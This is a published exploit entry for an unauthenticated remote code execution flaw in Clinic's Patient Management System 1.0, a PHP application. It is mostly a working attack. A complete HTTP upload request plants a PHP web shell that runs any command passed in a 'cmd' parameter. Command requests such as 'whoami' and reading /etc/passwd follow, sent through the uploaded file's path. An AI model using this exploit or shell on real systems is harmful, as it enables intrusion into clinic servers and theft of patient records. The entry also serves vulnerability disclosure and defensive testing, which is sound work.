Clinic's Patient Management System 1.0 - Unauthenticated RCE

# Exploit Title: Clinic's Patient Management System 1.0 - Unauthenticated RCE
# Date: 07.10.2023
# Exploit Author: Oğulcan Hami Gül
# Vendor Homepage: https://www.sourcecodester.com/php-clinics-patient-management-system-source-code
# Software Link: https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10

## Unauthenticated users can access /pms/users.php address and they can upload malicious php file instead of profile picture image without any authentication.

POST /pms/users.php HTTP/1.1

Host: 192.168.1.36

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------421755697017784551042596452367

Content-Length: 1054

Origin: http://192.168.1.36

Connection: close

Referer: http://192.168.1.36/pms/users.php

Upgrade-Insecure-Requests: 1



-----------------------------421755697017784551042596452367

Content-Disposition: form-data; name="display_name"



sefa7

-----------------------------421755697017784551042596452367

Content-Disposition: form-data; name="user_name"



sefa7

-----------------------------421755697017784551042596452367

Content-Disposition: form-data; name="password"



sefa7

-----------------------------421755697017784551042596452367

Content-Disposition: form-data; name="profile_picture"; filename="simple-backdoor.php"

Content-Type: application/x-php



<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->


-----------------------------421755697017784551042596452367

Content-Disposition: form-data; name="save_user"





-----------------------------421755697017784551042596452367--


## After the file upload request sent by attacker, Application adds a random number to the beginning of the file to be uploaded. Malicious file can be seen under the path /pms/users.php without any authentication.

## With the request http://192.168.1.36/pms/user_images/1696676940simple-backdoor.php?cmd=whoami the attacker can execute arbitrary command on the application server.